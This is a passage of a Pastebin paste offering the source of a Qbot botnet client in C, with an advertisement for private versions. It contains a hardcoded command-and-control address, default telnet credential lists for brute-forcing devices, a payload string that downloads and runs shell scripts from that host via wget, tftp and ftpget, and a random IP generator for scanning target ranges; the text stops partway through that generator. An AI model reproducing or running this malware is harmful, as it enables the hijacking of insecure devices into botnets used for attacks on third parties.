killattk

(QBOT) Client.c

Jun 24th, 2018
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 68.66 KB | None | 0 0
  1. Qbot Source
  2. HMU for Private qbot Sources
  3. Layer7/Autorepping
  4.  
  5. IG@killattk
  6.  
  7. #include <stdlib.h>
  8. #include <stdarg.h>
  9. #include <stdio.h>
  10. #include <sys/socket.h>
  11. #include <sys/types.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. #include <netdb.h>
  15. #include <signal.h>
  16. #include <strings.h>
  17. #include <string.h>
  18. #include <sys/utsname.h>
  19. #include <unistd.h>
  20. #include <fcntl.h>
  21. #include <errno.h>
  22. #include <netinet/ip.h>
  23. #include <netinet/udp.h>
  24. #include <netinet/tcp.h>
  25. #include <sys/wait.h>
  26. #include <sys/ioctl.h>
  27. #include <net/if.h>
  28. #include <time.h>
  29. #include <limits.h>
  30. #define PR_SET_NAME 15
  31. #define SERVER_LIST_SIZE (sizeof(hekkertelnet) / sizeof(unsigned char *))
  32. #define PAD_RIGHT 1
  33. #define PAD_ZERO 2
  34. #define PRINT_BUF_LEN 12
  35. #define CMD_IAC 255
  36. #define CMD_WILL 251
  37. #define CMD_WONT 252
  38. #define CMD_DO 253
  39. #define CMD_DONT 254
  40. #define OPT_SGA 3
  41. #define STD2_SIZE 75
  42. #define BUFFER_SIZE 1024
  43. #define PHI 0x9e3779b9
  44. #define VERSION "Killattk 1.0"
  45. #define NETIS "AA\x00\x00AAAA"
  46. unsigned char *hekkertelnet[] = { "80.211.45.210" };
  47. int Server_Botport = 23;
  48. char *usernames[] = {"666666\0", "support\0", "default\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "support\0", "root\0", "supervisor\0", "root\0", "root\0", "root\0"};
  49. char *passwords[] = {"666666\0", "support\0", "\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "vnpt\0", "1234567890\0", "support\0", "antslq\0", "zyad1234\0", "anko\0", "tini\0", "letacla\0"};
  50. char *hvgsgd = "cd /tmp; wget http://80.211.45.210/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 80.211.45.210 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 80.211.45.210; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 80.211.45.210 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  51. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};//advances so if it says any of the following itll try a passwd or user
  52. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};// ill kms if i see this
  53. char* successes[] = {"BusyBox", "$", "#", (char*)0};//if it sees this itll send the payload
  54. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  55. int initConnection();
  56. int getBogos(unsigned char *bogomips);
  57. int getCores();
  58. int userID = 1;
  59. int getCountry(unsigned char *buf, int bufsize);
  60. void makeRandomStr(unsigned char *buf, int length);
  61. int HackerPrint(int sock, char *formatStr, ...);
  62. char *inet_ntoa(struct in_addr in);
  63. int D1ckSucka = 0, D1ckSuckaz = -1;
  64. uint32_t *pids;
  65. uint32_t scanPid;
  66. uint32_t ngPid;
  67. uint64_t numpids = 0;
  68. struct in_addr ourIP;
  69. unsigned char macAddress[6] = {0};
  70. static uint32_t Q[4096], c = 362436;
  71. void init_rand(uint32_t x)
  72. {
  73. int i;
  74. Q[0] = x;
  75. Q[1] = x + PHI;
  76. Q[2] = x + PHI + PHI;
  77. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  78. }
  79. uint32_t rand_cmwc(void)
  80. {
  81. uint64_t t, a = 18782LL;
  82. static uint32_t i = 4095;
  83. uint32_t x, r = 0xfffffffe;
  84. i = (i + 1) & 4095;
  85. t = a * Q[i] + c;
  86. c = (uint32_t)(t >> 32);
  87. x = t + c;
  88. if (x < c) {
  89. x++;
  90. c++;
  91. }
  92. return (Q[i] = r - x);
  93. }
  94. void trim(char *str)
  95. {
  96. int i;
  97. int begin = 0;
  98. int end = strlen(str) - 1;
  99. while (isspace(str[begin])) begin++;
  100. while ((end >= begin) && isspace(str[end])) end--;
  101. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  102. str[i - begin] = '\0';
  103. }
  104. static void printchar(unsigned char **str, int c)
  105. {
  106. if (str) {
  107. **str = c;
  108. ++(*str);
  109. }
  110. else (void)write(1, &c, 1);
  111. }
  112. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  113. {
  114. register int pc = 0, padchar = ' ';
  115. if (width > 0) {
  116. register int len = 0;
  117. register const unsigned char *ptr;
  118. for (ptr = string; *ptr; ++ptr) ++len;
  119. if (len >= width) width = 0;
  120. else width -= len;
  121. if (pad & PAD_ZERO) padchar = '0';
  122. }
  123. if (!(pad & PAD_RIGHT)) {
  124. for ( ; width > 0; --width) {
  125. printchar (out, padchar);
  126. ++pc;
  127. }
  128. }
  129. for ( ; *string ; ++string) {
  130. printchar (out, *string);
  131. ++pc;
  132. }
  133. for ( ; width > 0; --width) {
  134. printchar (out, padchar);
  135. ++pc;
  136. }
  137. return pc;
  138. }
  139. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  140. {
  141. unsigned char print_buf[PRINT_BUF_LEN];
  142. register unsigned char *s;
  143. register int t, neg = 0, pc = 0;
  144. register unsigned int u = i;
  145. if (i == 0) {
  146. print_buf[0] = '0';
  147. print_buf[1] = '\0';
  148. return prints (out, print_buf, width, pad);
  149. }
  150. if (sg && b == 10 && i < 0) {
  151. neg = 1;
  152. u = -i;
  153. }
  154. s = print_buf + PRINT_BUF_LEN-1;
  155. *s = '\0';
  156. while (u) {
  157. t = u % b;
  158. if( t >= 10 )
  159. t += letbase - '0' - 10;
  160. *--s = t + '0';
  161. u /= b;
  162. }
  163. if (neg) {
  164. if( width && (pad & PAD_ZERO) ) {
  165. printchar (out, '-');
  166. ++pc;
  167. --width;
  168. }
  169. else {
  170. *--s = '-';
  171. }
  172. }
  173. return pc + prints (out, s, width, pad);
  174. }
  175. static int print(unsigned char **out, const unsigned char *format, va_list args )
  176. {
  177. register int width, pad;
  178. register int pc = 0;
  179. unsigned char scr[2];
  180. for (; *format != 0; ++format) {
  181. if (*format == '%') {
  182. ++format;
  183. width = pad = 0;
  184. if (*format == '\0') break;
  185. if (*format == '%') goto out;
  186. if (*format == '-') {
  187. ++format;
  188. pad = PAD_RIGHT;
  189. }
  190. while (*format == '0') {
  191. ++format;
  192. pad |= PAD_ZERO;
  193. }
  194. for ( ; *format >= '0' && *format <= '9'; ++format) {
  195. width *= 10;
  196. width += *format - '0';
  197. }
  198. if( *format == 's' ) {
  199. register char *s = (char *)va_arg( args, int );
  200. pc += prints (out, s?s:"(null)", width, pad);
  201. continue;
  202. }
  203. if( *format == 'd' ) {
  204. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  205. continue;
  206. }
  207. if( *format == 'x' ) {
  208. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  209. continue;
  210. }
  211. if( *format == 'X' ) {
  212. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  213. continue;
  214. }
  215. if( *format == 'u' ) {
  216. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  217. continue;
  218. }
  219. if( *format == 'c' ) {
  220. scr[0] = (unsigned char)va_arg( args, int );
  221. scr[1] = '\0';
  222. pc += prints (out, scr, width, pad);
  223. continue;
  224. }
  225. }
  226. else {
  227. out:
  228. printchar (out, *format);
  229. ++pc;
  230. }
  231. }
  232. if (out) **out = '\0';
  233. va_end( args );
  234. return pc;
  235. }
  236. int zprintf(const unsigned char *format, ...)
  237. {
  238. va_list args;
  239. va_start( args, format );
  240. return print( 0, format, args );
  241. }
  242. int szprintf(unsigned char *out, const unsigned char *format, ...)
  243. {
  244. va_list args;
  245. va_start( args, format );
  246. return print( &out, format, args );
  247. }
  248. int HackerPrint(int sock, char *formatStr, ...)
  249. {
  250. unsigned char *textBuffer = malloc(2048);
  251. memset(textBuffer, 0, 2048);
  252. char *orig = textBuffer;
  253. va_list args;
  254. va_start(args, formatStr);
  255. print(&textBuffer, formatStr, args);
  256. va_end(args);
  257. orig[strlen(orig)] = '\n';
  258. //zprintf("buf: %s\n", orig);
  259. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  260. free(orig);
  261. return q;
  262. }
  263. static int *fdopen_pids;
  264. int fdpopen(unsigned char *program, register unsigned char *type)
  265. {
  266. register int iop;
  267. int pdes[2], fds, pid;
  268. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  269. if (pipe(pdes) < 0) return -1;
  270. if (fdopen_pids == NULL) {
  271. if ((fds = getdtablesize()) <= 0) return -1;
  272. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  273. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  274. }
  275. switch (pid = vfork())
  276. {
  277. case -1:
  278. close(pdes[0]);
  279. close(pdes[1]);
  280. return -1;
  281. case 0:
  282. if (*type == 'r') {
  283. if (pdes[1] != 1) {
  284. dup2(pdes[1], 1);
  285. close(pdes[1]);
  286. }
  287. close(pdes[0]);
  288. } else {
  289. if (pdes[0] != 0) {
  290. (void) dup2(pdes[0], 0);
  291. (void) close(pdes[0]);
  292. }
  293. (void) close(pdes[1]);
  294. }
  295. execl("/bin/sh", "sh", "-c", program, NULL);
  296. _exit(127);
  297. }
  298. if (*type == 'r') {
  299. iop = pdes[0];
  300. (void) close(pdes[1]);
  301. } else {
  302. iop = pdes[1];
  303. (void) close(pdes[0]);
  304. }
  305. fdopen_pids[iop] = pid;
  306. return (iop);
  307. }
  308. int fdpclose(int iop)
  309. {
  310. register int fdes;
  311. sigset_t omask, nmask;
  312. int pstat;
  313. register int pid;
  314. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  315. (void) close(iop);
  316. sigemptyset(&nmask);
  317. sigaddset(&nmask, SIGINT);
  318. sigaddset(&nmask, SIGQUIT);
  319. sigaddset(&nmask, SIGHUP);
  320. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  321. do {
  322. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  323. } while (pid == -1 && errno == EINTR);
  324. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  325. fdopen_pids[fdes] = 0;
  326. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  327. }
  328. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  329. {
  330. int got = 1, total = 0;
  331. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  332. return got == 0 ? NULL : buffer;
  333. }
  334. static const long hextable[] = {
  335. [0 ... 255] = -1,
  336. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  337. ['A'] = 10, 11, 12, 13, 14, 15,
  338. ['a'] = 10, 11, 12, 13, 14, 15
  339. };
  340. long parseHex(unsigned char *hex)
  341. {
  342. long ret = 0;
  343. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  344. return ret;
  345. }
  346. int wildString(const unsigned char* pattern, const unsigned char* string) {
  347. switch(*pattern)
  348. {
  349. case '\0': return *string;
  350. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  351. case '?': return !(*string && !wildString(pattern+1, string+1));
  352. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  353. }
  354. }
  355. int getHost(unsigned char *toGet, struct in_addr *i)
  356. {
  357. struct hostent *h;
  358. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  359. return 0;
  360. }
  361. void uppercase(unsigned char *str)
  362. {
  363. while(*str) { *str = toupper(*str); str++; }
  364. }
  365. int getBogos(unsigned char *bogomips)
  366. {
  367. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  368. char linebuf[4096];
  369. while(fdgets(linebuf, 4096, cmdline) != NULL)
  370. {
  371. uppercase(linebuf);
  372. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  373. {
  374. unsigned char *pos = linebuf + 8;
  375. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  376. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  377. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  378. strcpy(bogomips, pos);
  379. close(cmdline);
  380. return 0;
  381. }
  382. memset(linebuf, 0, 4096);
  383. }
  384. close(cmdline);
  385. return 1;
  386. }
  387. int getCores()
  388. {
  389. int totalcores = 0;
  390. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  391. char linebuf[4096];
  392. while(fdgets(linebuf, 4096, cmdline) != NULL)
  393. {
  394. uppercase(linebuf);
  395. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  396. memset(linebuf, 0, 4096);
  397. }
  398. close(cmdline);
  399. return totalcores;
  400. }
  401. void makeRandomStr(unsigned char *buf, int length)
  402. {
  403. int i = 0;
  404. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  405. }
  406. int recvLine(int socket, unsigned char *buf, int bufsize)
  407. {
  408. memset(buf, 0, bufsize);
  409. fd_set myset;
  410. struct timeval tv;
  411. tv.tv_sec = 30;
  412. tv.tv_usec = 0;
  413. FD_ZERO(&myset);
  414. FD_SET(socket, &myset);
  415. int selectRtn, retryCount;
  416. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  417. while(retryCount < 10)
  418. {
  419. HackerPrint(D1ckSucka, "PING");
  420. tv.tv_sec = 30;
  421. tv.tv_usec = 0;
  422. FD_ZERO(&myset);
  423. FD_SET(socket, &myset);
  424. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  425. retryCount++;
  426. continue;
  427. }
  428. break;
  429. }
  430. }
  431. unsigned char tmpchr;
  432. unsigned char *cp;
  433. int count = 0;
  434. cp = buf;
  435. while(bufsize-- > 1)
  436. {
  437. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  438. *cp = 0x00;
  439. return -1;
  440. }
  441. *cp++ = tmpchr;
  442. if(tmpchr == '\n') break;
  443. count++;
  444. }
  445. *cp = 0x00;
  446. // zprintf("recv: %s\n", cp);
  447. return count;
  448. }
  449. int hostname_to_ip(char * hostname , char* ip)
  450. {
  451. struct hostent *he;
  452. struct in_addr **addr_list;
  453. int i;
  454. if ( (he = gethostbyname( hostname ) ) == NULL)
  455. {
  456. // get the host info
  457. herror("gethostbyname");
  458. return 1;
  459. }
  460. addr_list = (struct in_addr **) he->h_addr_list;
  461. for(i = 0; addr_list[i] != NULL; i++)
  462. {
  463. //Return the first one;
  464. strcpy(ip , inet_ntoa(*addr_list[i]) );
  465. return 0;
  466. }
  467. return 1;
  468. }
  469. int connectTimeout(int fd, char *host, int port, int timeout)
  470. {
  471. struct sockaddr_in dest_addr;
  472. fd_set myset;
  473. struct timeval tv;
  474. socklen_t lon;
  475. int valopt;
  476. long arg = fcntl(fd, F_GETFL, NULL);
  477. arg |= O_NONBLOCK;
  478. fcntl(fd, F_SETFL, arg);
  479. dest_addr.sin_family = AF_INET;
  480. dest_addr.sin_port = htons(port);
  481. if(getHost(host, &dest_addr.sin_addr)) return 0;
  482. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  483. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  484. if (res < 0) {
  485. if (errno == EINPROGRESS) {
  486. tv.tv_sec = timeout;
  487. tv.tv_usec = 0;
  488. FD_ZERO(&myset);
  489. FD_SET(fd, &myset);
  490. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  491. lon = sizeof(int);
  492. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  493. if (valopt) return 0;
  494. }
  495. else return 0;
  496. }
  497. else return 0;
  498. }
  499. arg = fcntl(fd, F_GETFL, NULL);
  500. arg &= (~O_NONBLOCK);
  501. fcntl(fd, F_SETFL, arg);
  502. return 1;
  503. }
  504. int listFork()
  505. {
  506. uint32_t parent, *newpids, i;
  507. parent = fork();
  508. if (parent <= 0) return parent;
  509. numpids++;
  510. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  511. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  512. newpids[numpids - 1] = parent;
  513. free(pids);
  514. pids = newpids;
  515. return parent;
  516. }
  517. int negotiate(int sock, unsigned char *buf, int len)
  518. {
  519. unsigned char c;
  520. switch (buf[1]) {
  521. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  522. case CMD_WILL:
  523. case CMD_WONT:
  524. case CMD_DO:
  525. case CMD_DONT:
  526. c = CMD_IAC;
  527. send(sock, &c, 1, MSG_NOSIGNAL);
  528. if (CMD_WONT == buf[1]) c = CMD_DONT;
  529. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  530. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  531. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  532. send(sock, &c, 1, MSG_NOSIGNAL);
  533. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  534. break;
  535. default:
  536. break;
  537. }
  538. return 0;
  539. }
  540. int matchPrompt(char *bufStr)
  541. {
  542. char *prompts = ":>%$#\0";
  543. int bufLen = strlen(bufStr);
  544. int i, q = 0;
  545. for(i = 0; i < strlen(prompts); i++)
  546. {
  547. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  548. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  549. }
  550. return 0;
  551. }
  552. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  553. {
  554. int bufferUsed = initialIndex, got = 0, found = 0;
  555. fd_set myset;
  556. struct timeval tv;
  557. tv.tv_sec = timeout;
  558. tv.tv_usec = timeoutusec;
  559. unsigned char *initialRead = NULL;
  560. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  561. {
  562. FD_ZERO(&myset);
  563. FD_SET(fd, &myset);
  564. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  565. initialRead = buffer + bufferUsed;
  566. got = recv(fd, initialRead, 1, 0);
  567. if(got == -1 || got == 0) return 0;
  568. bufferUsed += got;
  569. if(*initialRead == 0xFF)
  570. {
  571. got = recv(fd, initialRead + 1, 2, 0);
  572. if(got == -1 || got == 0) return 0;
  573. bufferUsed += got;
  574. if(!negotiate(fd, initialRead, 3)) return 0;
  575. } else {
  576. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  577. }
  578. }
  579. if(found) return 1;
  580. return 0;
  581. }
  582. static uint8_t ipState[5] = {0};
  583. in_addr_t HackerScan2()
  584. {
  585. ipState[1] = 0;
  586. ipState[2] = 0;
  587. ipState[3] = 0;
  588. ipState[4] = 0;
  589. ipState[1] = rand() % 255;
  590. ipState[2] = rand() % 255;
  591. ipState[3] = rand() % 255;
  592. ipState[4] = rand() % 255;
  593. int randnum = rand() % 208;
  594. char ip[16];
  595. if(randnum == 0)
  596. {
  597. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  598. }
  599. if(randnum == 1)
  600. {
  601. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  602. }
  603. if(randnum == 2)
  604. {
  605. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  606. }
  607. if(randnum == 3)
  608. {
  609. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  610. }
  611. if(randnum == 4)
  612. {
  613. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  614. }
  615. if(randnum == 5)
  616. {
  617. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  618. }
  619. if(randnum == 6)
  620. {
  621. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  622. }
  623. if(randnum == 7)
  624. {
  625. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  626. }
  627. if(randnum == 8)
  628. {
  629. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  630. }
  631. if(randnum == 9)
  632. {
  633. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  634. }
  635. if(randnum == 10)
  636. {
  637. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  638. }
  639. if(randnum == 11)
  640. {
  641. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  642. }
  643. if(randnum == 12)
  644. {
  645. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  646. }
  647. if(randnum == 13)
  648. {
  649. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  650. }
  651. if(randnum == 14)
  652. {
  653. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  654. }
  655. if(randnum == 15)
  656. {
  657. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  658. }
  659. if(randnum == 16)
  660. {
  661. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  662. }
  663. if(randnum == 17)
  664. {
  665. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  666. }
  667. if(randnum == 18)
  668. {
  669. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  670. }
  671. if(randnum == 19)
  672. {
  673. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  674. }
  675. if(randnum == 20)
  676. {
  677. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  678. }
  679. if(randnum == 21)
  680. {
  681. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  682. }
  683. if(randnum == 22)
  684. {
  685. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  686. }
  687. if(randnum == 23)
  688. {
  689. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  690. }
  691. if(randnum == 24)
  692. {
  693. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  694. }
  695. if(randnum == 25)
  696. {
  697. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  698. }
  699. if(randnum == 26)
  700. {
  701. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  702. }
  703. if(randnum == 27)
  704. {
  705. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  706. }
  707. if(randnum == 28)
  708. {
  709. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  710. }
  711. if(randnum == 29)
  712. {
  713. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  714. }
  715. if(randnum == 30)
  716. {
  717. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  718. }
  719. if(randnum == 31)
  720. {
  721. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  722. }
  723. if(randnum == 32)
  724. {
  725. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  726. }
  727. if(randnum == 33)
  728. {
  729. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  730. }
  731. if(randnum == 34)
  732. {
  733. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  734. }
  735. if(randnum == 35)
  736. {
  737. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  738. }
  739. if(randnum == 36)
  740. {
  741. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  742. }
  743. if(randnum == 37)
  744. {
  745. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  746. }
  747. if(randnum == 38)
  748. {
  749. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  750. }
  751. if(randnum == 39)
  752. {
  753. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  754. }
  755. if(randnum == 40)
  756. {
  757. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  758. }
  759. if(randnum == 41)
  760. {
  761. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  762. }
  763. if(randnum == 42)
  764. {
  765. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  766. }
  767. if(randnum == 43)
  768. {
  769. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  770. }
  771. if(randnum == 44)
  772. {
  773. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  774. }
  775. if(randnum == 45)
  776. {
  777. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  778. }
  779. if(randnum == 46)
  780. {
  781. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  782. }
  783. if(randnum == 47)
  784. {
  785. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  786. }
  787. if(randnum == 48)
  788. {
  789. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  790. }
  791. if(randnum == 49)
  792. {
  793. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  794. }
  795. if(randnum == 50)
  796. {
  797. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  798. }
  799. if(randnum == 51)
  800. {
  801. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  802. }
  803. if(randnum == 52)
  804. {
  805. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  806. }
  807. if(randnum ==53)
  808. {
  809. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  810. }
  811. if(randnum == 54)
  812. {
  813. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  814. }
  815. if(randnum == 55)
  816. {
  817. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  818. }
  819. if(randnum == 56)
  820. {
  821. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  822. }
  823. if(randnum == 57)
  824. {
  825. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  826. }
  827. if(randnum == 58)
  828. {
  829. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  830. }
  831. if(randnum == 59)
  832. {
  833. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  834. }
  835. if(randnum == 60)
  836. {
  837. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  838. }
  839. if(randnum == 61)
  840. {
  841. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  842. }
  843. if(randnum == 62)
  844. {
  845. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  846. }
  847. if(randnum == 63)
  848. {
  849. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  850. }
  851. if(randnum == 64)
  852. {
  853. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  854. }
  855. if(randnum == 65)
  856. {
  857. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  858. }
  859. if(randnum == 66)
  860. {
  861. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  862. }
  863. if(randnum == 67)
  864. {
  865. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  866. }
  867. if(randnum == 68)
  868. {
  869. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  870. }
  871. if(randnum == 69)
  872. {
  873. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  874. }
  875. if(randnum == 70)
  876. {
  877. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  878. }
  879. if(randnum == 71)
  880. {
  881. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  882. }
  883. if(randnum == 72)
  884. {
  885. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  886. }
  887. if(randnum == 73)
  888. {
  889. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  890. }
  891. if(randnum == 74)
  892. {
  893. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  894. }
  895. if(randnum == 75)
  896. {
  897. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  898. }
  899. if(randnum == 76)
  900. {
  901. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  902. }
  903. if(randnum == 77)
  904. {
  905. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  906. }
  907. if(randnum == 78)
  908. {
  909. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  910. }
  911. if(randnum == 79)
  912. {
  913. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  914. }
  915. if(randnum == 80)
  916. {
  917. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  918. }
  919. if(randnum == 81)
  920. {
  921. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  922. }
  923. if(randnum == 82)
  924. {
  925. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  926. }
  927. if(randnum == 83)
  928. {
  929. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  930. }
  931. if(randnum == 84)
  932. {
  933. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  934. }
  935. if(randnum == 85)
  936. {
